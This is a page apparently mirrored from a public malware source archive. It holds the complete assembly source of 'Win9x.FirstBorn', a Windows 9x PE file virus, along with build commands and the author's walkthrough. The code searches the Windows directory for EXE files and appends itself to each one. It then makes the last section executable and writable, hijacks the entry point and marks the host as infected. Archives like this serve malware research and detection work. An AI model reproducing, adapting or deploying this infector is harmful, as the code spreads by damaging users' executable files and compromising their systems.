mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
543 lines
16 KiB
NASM
543 lines
16 KiB
NASM
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; [ Win9x.FirstBorn Vorgon ]
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; [ 2560 bytes Target - PE ]
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; [ 08/10/02 Made in Canada ]
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;
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;
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;
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;
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; [ Introduction ]
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;
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; After three or four years of programming in asm i decided i was ready for
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; somthing more challenging. Virus programming had always interested me so
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; i went searching for a group that would teach me the basics. I found the
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; group iKX, and T00FiC showed me how to make my first virus which i call
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; FirstBorn. Its a sucky virus and would never survive in the wild, i only
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; made it for learning purposes.
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;
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; [ The Infection ]
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;
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; FirstBorn is a simple PE infector. It only works on Win9x because i could
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; not get the exception handling part of the Kernel finder working. So it
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; just assumes the kernel is located at 0BFF70000. I will have this function
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; working in my next virus and then it can infect NT and 2k. Below is
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; a break down of what the virus does:
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;
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; - Get the delta offset and save the starting location of the virus
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; - Save registers incase the host program needs them
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; - Use the GetFunctionAddress procedure to get the kernel32 api function
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; addreses i need.
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; - Call the FindHostFile procedure to find a valid PE file to infect.
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; - Call the GetHeader procedure which reads the PE header into memory
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; - Call the AddCodeToHost procedure which does many things:
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; - Writes this program in memory to the end of the host file
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; - Updates the last section header to include all the data
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; up to the EOF, Updates its virtual size, and makes it
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; Readable/Writable/Executable
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; - Updates the program image size
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; - Sets the entry point to the virus code
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; - Adds a signature to location 79h to stop another infection
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; - Call PutHeader procedure which writes the updated PE Header to the host
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; - Restore registers for the host program
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; - Returns control to the host program
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;
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;
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; [ Assembling ]
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;
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; tasm32 /ml 1born
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; tlink32 -x /Tpe /c 1born,1born
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; editbin /SECTION:CODE,rwe 1born.exe
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;
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;
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.386p
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.model flat, stdcall
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extrn ExitProcess : PROC
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.DATA
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dd 0
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.CODE
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Main:
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;----------------------------------------------------------------------------
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; Get delta offset and the start location of the virus in memory
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;----------------------------------------------------------------------------
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push ebp
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call GetDeltaPointer
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GetDeltaPointer:
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pop ebp
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sub ebp, offset GetDeltaPointer
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Call SaveRegisters
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mov [ebp+StartOfCode], ebp
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lea eax, GetDeltaPointer
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add [ebp+StartOfCode], eax
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sub [ebp+StartOfCode], 6 ;get the start address of virus in memory
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mov eax, [ebp+HEP2] ;Set the return to host address
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mov [ebp+HostEntryPoint], eax
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;----------------------------------------------------------------------------
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; Virus Data
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;----------------------------------------------------------------------------
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jmp JumpOverData
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StartOfCode dd 0
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VirusSignature dd 0DEADBEEFh
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Handle dd 0
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NumberOfBytesRead dd 0
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PE_Header db 248 dup(0)
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LocationOfHeader dd 0
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SearchString db 'c:\windows\*.EXE',0
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FindHandle dd 0
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Win32_Find_Data:
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FileAttributes dd 0
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CreateTime dq 0
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LastAccessTime dq 0
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LastWriteTime dq 0
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FileSizeHigh dd 0
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FileSizeLow dd 0
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Reserved0 dd 0
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Reserved1 dd 0
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FullFileName db 260 dup(0)
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AlternateFileName db 14 dup(0)
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SectionHeader:
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ANSI_Name db 8 dup(0)
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VirtualSize dd 0
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VirtualAddress dd 0
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SizeOfRawData dd 0
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PointerToRawData dd 0
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PointerToRelocs dd 0
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PointerToLinNums dd 0
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NumberOfRelocs dw 0
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NumberOfLineNums dw 0
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Characteristics dd 0
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Kernel32Address dd 0BFF70000h
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szCreateFileA db 'CreateFileA',0
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_CreateFileA dd 0
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szWriteFile db 'WriteFile',0
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_WriteFile dd 0
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szCloseHandle db 'CloseHandle',0
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_CloseHandle dd 0
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szReadFile db 'ReadFile',0
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_ReadFile dd 0
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szSetFilePointer db 'SetFilePointer',0
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_SetFilePointer dd 0
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szFindFirstFileA db 'FindFirstFileA',0
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_FindFirstFileA dd 0
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szFindNextFileA db 'FindNextFileA',0
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_FindNextFileA dd 0
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szFindClose db 'FindClose',0
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_FindClose dd 0
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loc dd 0
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loc2 dd 0
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HostEntryPoint dd 0
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HEP2 dd 00401000h
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_EBP dd 0
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_EDI dd 0
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_ESI dd 0
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_EAX dd 0
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_EBX dd 0
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_ECX dd 0
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_EDX dd 0
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FirstGeneration dd 1
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JumpOverData:
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;----------------------------------------------------------------------------
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; Get the required API function addresses from the Kernel32.dll
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;----------------------------------------------------------------------------
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lea esi, [ebp+szCreateFileA]
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call GetFunctionAddress
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mov [ebp+_CreateFileA], eax
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lea esi, [ebp+szWriteFile]
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call GetFunctionAddress
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mov [ebp+_WriteFile], eax
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lea esi, [ebp+szCloseHandle]
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call GetFunctionAddress
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mov [ebp+_CloseHandle], eax
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lea esi, [ebp+szReadFile]
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call GetFunctionAddress
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mov [ebp+_ReadFile], eax
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lea esi, [ebp+szSetFilePointer]
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call GetFunctionAddress
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mov [ebp+_SetFilePointer], eax
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lea esi, [ebp+szFindFirstFileA]
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call GetFunctionAddress
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mov [ebp+_FindFirstFileA], eax
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lea esi, [ebp+szFindNextFileA]
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call GetFunctionAddress
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mov [ebp+_FindNextFileA], eax
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lea esi, [ebp+szFindClose]
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call GetFunctionAddress
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mov [ebp+_FindClose], eax
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;----------------------------------------------------------------------------
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; Main
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;----------------------------------------------------------------------------
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Call FindHostFile ;Find an exe to infect
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cmp eax, 0FFFFFFFFh
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je BackToHost
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lea eax, [ebp+FullFileName] ;Open it
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mov ebx, 0C0000000h
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call OpenFile
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cmp eax, 0FFFFFFFFh
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je BackToHost
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call GetHeader ;Get its PE header
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call AddCodeToHost ;Add virus to it
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call PutHeader ;Write the updated PE header
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;to it
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mov eax, [ebp+Handle]
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call CloseFile ;Close it
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BackToHost:
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cmp dword ptr [ebp+FirstGeneration], 1
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je Exit
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mov eax, dword ptr [ebp+HostEntryPoint]
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push eax
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Call RestoreRegisters
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ret ;return to host
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Exit:
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push 0
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Call ExitProcess
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;----------------------------------------------------------------------------
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; General Procedures
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;----------------------------------------------------------------------------
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SaveRegisters PROC
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mov [ebp+_EDI], edi
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mov [ebp+_ESI], esi
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mov [ebp+_EBX], ebx
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mov [ebp+_ECX], ecx
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mov [ebp+_EDX], edx
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pop eax
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pop ebx
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mov [ebp+_EBP], ebx
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push eax
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ret
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SaveRegisters ENDP
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RestoreRegisters PROC
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mov edi, [ebp+_EDI]
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mov esi, [ebp+_ESI]
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mov ebx, [ebp+_EBX]
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mov ecx, [ebp+_ECX]
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mov edx, [ebp+_EDX]
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mov ebp, [ebp+_EBP]
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ret
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RestoreRegisters ENDP
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AddCodeToHost PROC
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push dword ptr [ebp+FirstGeneration]
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mov dword ptr [ebp+FirstGeneration], 0
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mov eax, dword ptr [ebp+PE_Header+40]
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add eax, dword ptr [ebp+PE_Header+52] ;add image base
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mov [ebp+HEP2], eax ;Save original entry point
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mov eax, 0
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mov ebx, 2
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Call SeekData ;Seek to EOF
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mov [ebp+loc], eax
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add [ebp+loc], 2560 ;loc = new EOF
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mov eax, [ebp+StartOfCode]
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mov ebx, 2560
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call PutData ;Write virus to EOF
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xor edx, edx
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xor eax, eax
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mov ax, word ptr [ebp+PE_Header+6]
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dec eax
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mov ebx, 40
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mul ebx
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add eax, [ebp+LocationOfHeader]
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add eax, 248
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mov ebx, 0
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Call SeekData ;Seek to the last section header
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lea eax, [ebp+SectionHeader]
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mov ebx, 40
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Call GetData ;Get the last section header
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mov eax, dword ptr [ebp+PE_Header+80]
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sub eax, [ebp+VirtualSize]
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mov dword ptr [ebp+PE_Header+80], eax ;subtract the section size from the image size
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mov eax, [ebp+loc]
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sub eax, [ebp+PointerToRawData]
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mov [ebp+SizeOfRawData], eax ;Update SizeOfRawData
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shr eax, 12 ;divide eax by 4096
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shl eax, 12 ;multiply eax by 4096
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add eax, 8192 ;add 1 - 2k for any unitialized data
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mov [ebp+VirtualSize], eax ;Update VirtualSize
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mov eax, [ebp+SizeOfRawData]
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sub eax, 2560
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add eax, [ebp+VirtualAddress]
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mov dword ptr [ebp+PE_Header+40], eax ;Set Entry point
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mov [ebp+Characteristics], 0E0000020h ;Make Section Executable/Readable/Writable
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mov eax, -40
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mov ebx, 1
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Call SeekData
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lea eax, [ebp+SectionHeader]
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mov ebx, 40
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Call PutData ;Write section header back to file
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mov eax, dword ptr [ebp+PE_Header+80]
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add eax, [ebp+VirtualSize]
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mov dword ptr [ebp+PE_Header+80], eax ;update image size
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mov eax, 79h
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mov ebx, 0
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Call SeekData
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lea eax, [ebp+VirusSignature]
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mov ebx, 4
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Call PutData ;Write Virus Signature to host
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;to prevent reinfection
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pop dword ptr [ebp+FirstGeneration]
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ret
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AddCodeToHost ENDP
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FindHostFile PROC
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lea eax, [ebp+Win32_Find_Data]
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lea ebx, [ebp+SearchString]
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push eax
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push ebx
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Call [ebp+_FindFirstFileA]
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mov [ebp+FindHandle], eax ;Get First File match
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FindHost:
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lea eax, [ebp+FullFileName]
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mov ebx, 0C0000000h
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call OpenFile
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cmp eax, 0FFFFFFFFh
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je FindNext
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mov [ebp+Handle], eax
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mov eax, 79h
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mov ebx, 0
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Call SeekData
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lea eax, [ebp+loc]
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mov ebx, 4
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Call GetData
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mov eax, 3Ch
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mov ebx, 0
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Call SeekData
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lea eax, [ebp+loc2]
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mov ebx, 4
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Call GetData
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mov eax, [ebp+loc2]
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mov ebx, 0
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Call SeekData
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lea eax, [ebp+loc2]
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mov ebx, 4
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Call GetData ;Get PE signature
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mov eax, [ebp+Handle]
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Call CloseFile
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cmp [ebp+loc], 0DEADBEEFh
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jne NextCheck ;Already Infected?
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je FindNext
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NextCheck:
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cmp [ebp+loc2], 00004550h ;Valid PE EXE?
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je FoundHost
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FindNext:
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lea eax, [ebp+Win32_Find_Data]
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push eax
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push [ebp+FindHandle]
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Call [ebp+_FindNextFileA]
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cmp eax, 0 ;No more exes left
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je HostNotFound
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jmp FindHost
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FoundHost:
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push [ebp+FindHandle]
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Call [ebp+_FindClose]
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ret
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HostNotFound:
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push [ebp+FindHandle]
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Call [ebp+_FindClose]
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mov eax, 0FFFFFFFFh
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ret
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FindHostFile ENDP
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|
|
||
|
|
GetHeader PROC
|
||
|
|
mov eax, 3Ch
|
||
|
|
mov ebx, 0
|
||
|
|
call SeekData
|
||
|
|
lea eax, [ebp+LocationOfHeader]
|
||
|
|
mov ebx, 4
|
||
|
|
call GetData
|
||
|
|
mov eax, [ebp+LocationOfHeader]
|
||
|
|
mov ebx, 0
|
||
|
|
call SeekData
|
||
|
|
lea eax, [ebp+PE_Header]
|
||
|
|
mov ebx, 248
|
||
|
|
call GetData
|
||
|
|
ret
|
||
|
|
GetHeader ENDP
|
||
|
|
|
||
|
|
PutHeader PROC
|
||
|
|
mov eax, 3Ch
|
||
|
|
mov ebx, 0
|
||
|
|
call SeekData
|
||
|
|
lea eax, [ebp+LocationOfHeader]
|
||
|
|
mov ebx, 4
|
||
|
|
call GetData
|
||
|
|
mov eax, [ebp+LocationOfHeader]
|
||
|
|
mov ebx, 0
|
||
|
|
call SeekData
|
||
|
|
lea eax, [ebp+PE_Header]
|
||
|
|
mov ebx, 248
|
||
|
|
call PutData
|
||
|
|
ret
|
||
|
|
PutHeader ENDP
|
||
|
|
|
||
|
|
GetFunctionAddress PROC
|
||
|
|
mov eax, [ebp+Kernel32Address] ;EAX = Kernel32 Address
|
||
|
|
mov ebx, [eax+3Ch]
|
||
|
|
add ebx, eax
|
||
|
|
add ebx, 120
|
||
|
|
mov ebx, [ebx]
|
||
|
|
add ebx, eax ;EBX = Export Address
|
||
|
|
|
||
|
|
xor edx, edx
|
||
|
|
mov ecx, [ebx+32]
|
||
|
|
add ecx, eax
|
||
|
|
push esi
|
||
|
|
push edx
|
||
|
|
CompareNext:
|
||
|
|
pop edx
|
||
|
|
pop esi
|
||
|
|
inc edx
|
||
|
|
mov edi, [ecx]
|
||
|
|
add edi, eax
|
||
|
|
add ecx, 4
|
||
|
|
push esi
|
||
|
|
push edx
|
||
|
|
CompareName:
|
||
|
|
mov dl, [edi]
|
||
|
|
mov dh, [esi]
|
||
|
|
cmp dl, dh
|
||
|
|
jne CompareNext
|
||
|
|
inc edi
|
||
|
|
inc esi
|
||
|
|
cmp byte ptr [esi], 0
|
||
|
|
je GetAddress
|
||
|
|
jmp CompareName
|
||
|
|
GetAddress:
|
||
|
|
pop edx
|
||
|
|
pop esi
|
||
|
|
dec edx
|
||
|
|
shl edx, 1
|
||
|
|
mov ecx, [ebx+36]
|
||
|
|
add ecx, eax
|
||
|
|
add ecx, edx
|
||
|
|
xor edx, edx
|
||
|
|
mov dx, [ecx]
|
||
|
|
shl edx, 2
|
||
|
|
mov ecx, [ebx+28]
|
||
|
|
add ecx, eax
|
||
|
|
add ecx, edx
|
||
|
|
add eax, [ecx]
|
||
|
|
|
||
|
|
ret
|
||
|
|
GetFunctionAddress ENDP
|
||
|
|
|
||
|
|
|
||
|
|
;----------------------------------------------------------------------------
|
||
|
|
; File I/O Procedures
|
||
|
|
;----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
OpenFile PROC
|
||
|
|
push 00000000h
|
||
|
|
push 00000080h
|
||
|
|
push 00000003h
|
||
|
|
push 00000000h
|
||
|
|
push 00000000h
|
||
|
|
push ebx ;open for read/write
|
||
|
|
push eax
|
||
|
|
call [ebp+_CreateFileA]
|
||
|
|
mov [ebp+Handle], eax
|
||
|
|
ret
|
||
|
|
OpenFile ENDP
|
||
|
|
|
||
|
|
CloseFile PROC
|
||
|
|
push eax
|
||
|
|
call [ebp+_CloseHandle]
|
||
|
|
ret
|
||
|
|
CloseFile ENDP
|
||
|
|
|
||
|
|
SeekData PROC
|
||
|
|
push ebx ; 0 = begin / 1 = current / 2 = end
|
||
|
|
push 0
|
||
|
|
push eax ; location to seek to
|
||
|
|
push [ebp+Handle]
|
||
|
|
call [ebp+_SetFilePointer]
|
||
|
|
ret
|
||
|
|
SeekData ENDP
|
||
|
|
|
||
|
|
GetData PROC
|
||
|
|
lea ecx, [ebp+NumberOfBytesRead]
|
||
|
|
push 00000000h
|
||
|
|
push ecx
|
||
|
|
push ebx
|
||
|
|
push eax
|
||
|
|
push [ebp+Handle]
|
||
|
|
call [ebp+_ReadFile]
|
||
|
|
ret
|
||
|
|
GetData ENDP
|
||
|
|
|
||
|
|
PutData PROC
|
||
|
|
lea ecx, [ebp+NumberOfBytesRead]
|
||
|
|
push 0
|
||
|
|
push ecx
|
||
|
|
push ebx
|
||
|
|
push eax
|
||
|
|
push [ebp+Handle]
|
||
|
|
call [ebp+_WriteFile]
|
||
|
|
ret
|
||
|
|
PutData ENDP
|
||
|
|
|
||
|
|
End Main
|
||
|
|
|
||
|
|
;Wow your actualy still reading? Get a life :p
|
||
|
|
|